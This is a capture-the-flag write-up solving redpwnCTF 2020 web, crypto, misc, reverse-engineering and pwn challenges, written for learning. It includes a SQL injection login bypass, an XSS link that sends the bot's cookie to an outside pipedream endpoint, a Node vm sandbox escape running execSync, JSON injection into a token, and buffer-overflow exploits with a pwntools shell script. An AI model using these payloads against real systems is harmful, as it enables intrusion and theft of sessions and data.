Table of contents- [Web](#web)  - [inspector-general](#inspector-general)  - [login](#login)  - [static-pastebin](#static-pastebin)  - [panda-facts](#panda-facts)- [Crypto](#crypto)  - [base646464](#base646464)- [Misc](#misc)  - [ugly-bash](#ugly-bash)  - [CaaSiNO](#caasino)- [Rev](#rev)  - [ropes](#ropes)- [Pwn](#pwn)  - [coffer-overflow-0](#coffer-overflow-0)  - [coffer-overflow-1](#coffer-overflow-1)
#  Web##  inspector-generalPoints: 113#### Description>My friend made a new webpage, can you find a flag?### SolutionAs the name of the challenge suggests, we need to inspect the given site for getting the flag. The flag can be found on /ctfs page.
![image](https://user-images.githubusercontent.com/38787278/85252999-e121b280-b465-11ea-9986-74a9da4cc188.png)
Flag: flag{1nspector_g3n3ral_at_w0rk}
##  loginPoints: 161#### Description>I made a cool login page. I bet you can't get in!>>Site: login.2020.redpwnc.tf
### SolutionThe web page shows a login form. When we try to login an AJAX call is made to `/api/flag` with the credentials. We are also given the source file of the login page.From the code we can see that this is prone to SQL injection.
```javascript    let result;    try {        result = db.prepare(`SELECT * FROM users             WHERE username = '${username}'            AND password = '${password}';`).get();    } catch (error) {        res.json({ success: false, error: "There was a problem." });        res.end();        return;    }     if (result) {        res.json({ success: true, flag: process.env.FLAG });        res.end();        return;    }```
Moving to Burp, I first tried `admin' or 1=1 #`/`admin`. This generated an error, which is good. I replace `#` with `--` and I got the flag. Afterwards I saw that the db used is `sqlite3`.
![image](https://user-images.githubusercontent.com/38787278/85321314-2f1dd100-b4cd-11ea-9d22-7fbae7a11415.png)
Flag: flag{0bl1g4t0ry_5ql1}
##  static-pastebinPoints: 413#### Description>I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it [here](#https://admin-bot.redpwnc.tf/submit?challenge=static-pastebin)
>Site: [static-pastebin.2020.redpwnc.tf](#https://static-pastebin.2020.redpwnc.tf/)
### SolutionThere are two sites for this challenge: one from which we will generate an URL and the second one where we will paste the URL so that a bot can access it.
![image](https://user-images.githubusercontent.com/38787278/85327591-e881a400-b4d7-11ea-9a39-16e6cc58aede.png)
Let's take a look at the js file of this page.
```javascript(async () => {    await new Promise((resolve) => {        window.addEventListener('load', resolve);    });
    const button = document.getElementById('button');    button.addEventListener('click', () => {        const text = document.getElementById('text');        window.location = 'paste/#' + btoa(text.value);    });})();```
So when hitting the `Create` button the value inside the textarea will be base64 encoded and we'll be redirected to `paste/#base64string`. Inserting `testing` we are redirected to `https://static-pastebin.2020.redpwnc.tf/paste/#dGVzdGluZw==`. Here we can see that the page displayed our text. Nice. It seems that we'll try to do a XSS attack.
![image](https://user-images.githubusercontent.com/38787278/85328355-46fb5200-b4d9-11ea-9f04-4fc3619e30c5.png)
Let's take a look at the javascript code that handles this.
```javascript(async () => {    await new Promise((resolve) => {        window.addEventListener('load', resolve);    });
    const content = window.location.hash.substring(1);    display(atob(content));})();
function display(input) {    document.getElementById('paste').innerHTML = clean(input);}
function clean(input) {    let brackets = 0;    let result = '';    for (let i = 0; i < input.length; i++) {        const current = input.charAt(i);        if (current == '<') {            brackets ++;        }        if (brackets == 0) {            result += current;        }        if (current == '>') {            brackets --;        }    }    return result}```
We can see that the base64 value from URL is decoded(using `atob`) and somewhat sanitized(by `clean`). Looking at the implementation of `clean()` we can see that as long as we keep the value of `brackets` 0 our input will go into the page.
Trying `>` displayed us an alert, so we're on the right track. As long as we don't insert any additional `<` or `>` we can write anything as payload.
I started a flow in [Pipedream](https://pipedream.com) that will intercept any request coming. I entered the link to my pipedream in the second site so check if the bot visits the link.
![image](https://user-images.githubusercontent.com/38787278/85329696-aeb29c80-b4db-11ea-8db6-259714c1b4c2.png)
I also got an event on the pipedream so all we need to do now is to steal the bot's cookie.
Final payload: `>`
This will generate the next link: `https://static-pastebin.2020.redpwnc.tf/paste#PjxpbWcgc3JjIG9uZXJyb3I9ImxldCB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbignUE9TVCcsJ2h0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldCcsIHRydWUpO3guc2VuZChkb2N1bWVudC5jb29raWUpIi8+Cg==`
After pasting the link in the second site we get the flag.
![image](https://user-images.githubusercontent.com/38787278/85329981-339db600-b4dc-11ea-88f7-5411aefea9b3.png)
Trying to get the flag by a GET method will not work because of the characters of the flag. You have to encode first with something like `btoa`.
Flag: flag{54n1t1z4t10n_k1nd4_h4rd}
##  panda-factsPoints: 420#### Description>I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!>>Site: panda-facts.2020.redpwnc.tf
### SolutionThe webpage exposes a form where you enter an username and afterwards you receive an encrypted token. The decrypted value is a json with the next fields:```json{"integrity":"${INTEGRITY}","member":0,"username":"your-username"}```We can get the flag if we are a member. Since only control the username, we have to forge the token. Let's take a look at the encryption and decryption function.```javascriptasync function generateToken(username) {    const algorithm = 'aes-192-cbc';     const key = Buffer.from(process.env.KEY, 'hex');     // Predictable IV doesn't matter here    const iv = Buffer.alloc(16, 0);
    const cipher = crypto.createCipheriv(algorithm, key, iv);
    const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
    let encrypted = '';    encrypted += cipher.update(token, 'utf8', 'base64');    encrypted += cipher.final('base64');    return encrypted;}
async function decodeToken(encrypted) {    const algorithm = 'aes-192-cbc';     const key = Buffer.from(process.env.KEY, 'hex');     // Predictable IV doesn't matter here    const iv = Buffer.alloc(16, 0);    const decipher = crypto.createDecipheriv(algorithm, key, iv);
    let decrypted = '';
    try {        decrypted += decipher.update(encrypted, 'base64', 'utf8');        decrypted += decipher.final('utf8');    } catch (error) {        return false;    }
    let res;    try {        res = JSON.parse(decrypted);    } catch (error) {        console.log(error);        return false;    }
    if (res.integrity !== INTEGRITY) {        return false;    }
    return res;}```The function that get us the flag:```javascriptapp.get('/api/flag', async (req, res) => {    if (!req.cookies.token || typeof req.cookies.token !== 'string') {        res.json({success: false, error: 'Invalid token'});        res.end();        return;    }
    const result = await decodeToken(req.cookies.token);    if (!result) {        res.json({success: false, error: 'Invalid token'});        res.end();        return;    }
    if (!result.member) {        res.json({success: false, error: 'You are not a member'});        res.end();        return;    }
    res.json({success: true, flag: process.env.FLAG});});```
The vulnerability is in the generation of the token. The username is inserted inside the string:```javascriptconst token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}````We can inject a payload that will overwrite the `member` property. This happens because `JSON.parse()` will take the last occurrence of the property in consideration.
Providing the payload `a","member":1,"a":"` will be concatenating into `{"integrity":"12370cc0f387730fb3f273e4d46a94e5","member":0,"username":"a","member":1,"a":""}`. After decryption, when it will be parsed, the `member` will be 1 and we get the flag.
![image](https://user-images.githubusercontent.com/38787278/85615444-e6008500-b664-11ea-868e-c510d8b43e9f.png)
Flag: flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
#  Crypto##  base646464Points: 148#### Description>Encoding something multiple times makes it exponentially more secure!
### SolutionWe get two files. A text file (`cipher.txt`) with a long string that seems to be base64 encoded and a js file that contains the code used for encoding, as you can see below.
```javascriptconst btoa = str => Buffer.from(str).toString('base64');
const fs = require("fs");const flag = fs.readFileSync("flag.txt", "utf8").trim();
let ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret);
fs.writeFileSync("cipher.txt", ret);```
So, it seems that the content of `flag.txt` was base64 encoded 25 times. Let's try to decode that with the next code.
```javascriptconst fs = require("fs");const encodedFlag = fs.readFileSync("cipher.txt", "utf8");let decodedStr = encodedFlag;
for(let i = 0; i < 25; i++) {    decodedStr = Buffer.from(decodedStr, 'base64').toString('ascii');}
console.log(decodedStr);```
Flag: flag{l00ks_l1ke_a_l0t_of_64s}
#  Misc##  ugly-bashPoints: 378#### Description>This bash script evaluates to `echo dont just run it, dummy # flag{...}` where the flag is in the comments.>>The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?>>Enjoy the intro misc chal.
We get a file with obfuscate bash, ~5000 characters. If we run it prints `dont just run it, dummy`. A part from the start of the code:
```bash${*%c-dFqjfo}  e$'\u0076'al "$(   ${*%%Q+n\{}   "${@~}" $'\160'r""$'\151'$@nt"f" %s   ' }~~@{$  ")   }La?cc87J```
I looked over an deobfucating tool, but I didn't find anything, but I read that it can be deobfucated easily by `echo`-ing the script before eecuting. So, that's what I did. Running `echo ${*%c-dFqjfo}  e$'\u0076'al "$(   ${*%%Q+n\{} ...` made things more visible:
```basheval  "$@"   "${@//.WS1=|}" $BASH  ${*%%Y#0C}   ${*,,} <<<  "$(     E6YbzJ=(   "${@,}" f   "${@}"```
Now it's clear that the result of whatever is executed in the right of the `<<<` is passed as input to what's on the left of it.
Echo-ing the left part:
```basheval /usr/bin/bash```Echo-ing the right side got me an error so I tried to just execute it and I got the flag:```bashecho dont just run it, dummy # flag{us3_zsh,_dummy}: command not found```Flag: flag{us3_zsh,_dummy}
##  CaaSiNOPoints: 416#### Description>Who needs regex for sanitization when we have VMs?!?!>>The flag is at /ctf/flag.txt>>nc 2020.redpwnc.tf 31273### SolutionBeside the connection endpoint we also get the source code:```javascriptconst vm = require('vm')const readline = require('readline')
const rl = readline.createInterface({  input: process.stdin,  output: process.stdout})
process.stdout.write('Welcome to my Calculator-as-a-Service (CaaS)!\n')process.stdout.write('This calculator lets you use the full power of Javascript for\n')process.stdout.write('your computations! Try `Math.log(Math.expm1(5) + 1)`\n')process.stdout.write('Type q to exit.\n')rl.prompt()rl.addListener('line', (input) => {  if (input === 'q') {    process.exit(0)  } else {    try {      const result = vm.runInNewContext(input)      process.stdout.write(result + '\n')    } catch {      process.stdout.write('An error occurred.\n')    }    rl.prompt()  }})```So, we pass javascript commands and those commands are executed in a separate context using the node.js `vm` module. No filtering is applied so our goal is to evade from the context created in `vm.runInNewContext` and get the flag.
Searching, one of the firsts articles that popped-up was [Sandboxing NodeJS is hard, here is why](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html), which had all the information needed for completing the challenge. The payload described there, also the one that I used, is leveraging the use of the `this` keyword. The keyword accesses the instance of the parent object, in this case, it's the context of the object outside of the `vm.runInNewContext`. Now that we can escape from that, we want to get the `process` of the parent object so that we can execute our command. We can do this by accessing the constructor property of the parent object, from which we can run the constructor function that will return the process that we want.
Up until now we have: `this.constructor.constructor('return this.process')()`. Good. Now, using the returned value, we can execute commands. Final payload:
```javascriptthis.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString()```![image](https://user-images.githubusercontent.com/38787278/85459786-3ddab580-b5ab-11ea-9168-88fb268a9ca5.png)
Flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
#  Rev##  ropesPoints: 130#### Description>It's not just a string, it's a rope!
### SolutionWe get a file called `ropes`. We get the flag quickly by running `strings` on it.
![image](https://user-images.githubusercontent.com/38787278/85454723-dff79f00-b5a5-11ea-81e6-80cc74f11d51.png)
Flag: flag{r0pes_ar3_just_l0ng_str1ngs}
#  Pwn##  coffer-overflow-0Points: 181#### Description>Can you fill up the coffers? We even managed to find the source for you.>>nc 2020.redpwnc.tf 31199### SolutionWe get an executable and its source file:```c#include <stdio.h>#include <string.h>
int main(void){  long code = 0;  char name[16];   setbuf(stdout, NULL);  setbuf(stdin, NULL);  setbuf(stderr, NULL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");  puts("What do you want to fill your coffer with?");
  gets(name);
  if(code != 0) {    system("/bin/sh");  }}```
It's clear that we have an buffer overflow on `name` and by overflowing it we will overwrite the `code` variable, and that will get us a shell.Payload: `AAAABBBBCCCCDDDDEEEEFFFFG`
![image](https://user-images.githubusercontent.com/38787278/85518521-fd118980-b608-11ea-9517-25907161fabe.png)
Flag: flag{b0ffer_0verf10w_3asy_as_123}
#  Pwn##  coffer-overflow-1Points: 284#### Description>The coffers keep getting stronger! You'll need to use the source, Luke.
>nc 2020.redpwnc.tf 31255### SolutionWe get an executable and it's source code:```c#include <stdio.h>#include <string.h>
int main(void){  long code = 0;  char name[16];   setbuf(stdout, NULL);  setbuf(stdin, NULL);  setbuf(stderr, NULL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");  puts("What do you want to fill your coffer with?");
  gets(name);
  if(code == 0xcafebabe) {    system("/bin/sh");  }}```
We can see that there's a buffer overflow vulnerability on `gets(name)`, but in order to get the a shell we need to overwrite the value from `code` to be `0xcafebabe`.
We can fill the `name` buffer with `AAAABBBBCCCCDDDDEEEEFFFF` and everything we add from here it will get into `code`. Just adding `/xca/xfe/xba/xbe` won't work, we have to provide the bytes as little endian.
We'll get shell using the `pwn` module and sending the payload as it follows:```pythonimport pwn
con = pwn.remote('2020.redpwnc.tf', 31255)
con.recv()con.recv()
exploit = b'AAAABBBBCCCCDDDDEEEEFFFF' + pwn.p32(0xcafebabe)con.sendline(exploit)
con.sendline('ls')ls = con.recv()print(ls)
if b'flag.txt' in ls:    con.sendline('cat flag.txt')    print(con.recv().decode('utf-8'))
con.close()```
`pwn.p32(0xcafebabex)` will make our payload to work for little endian.
![image](https://user-images.githubusercontent.com/38787278/85772996-12300a80-b726-11ea-9244-667d28056f17.png)
Flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}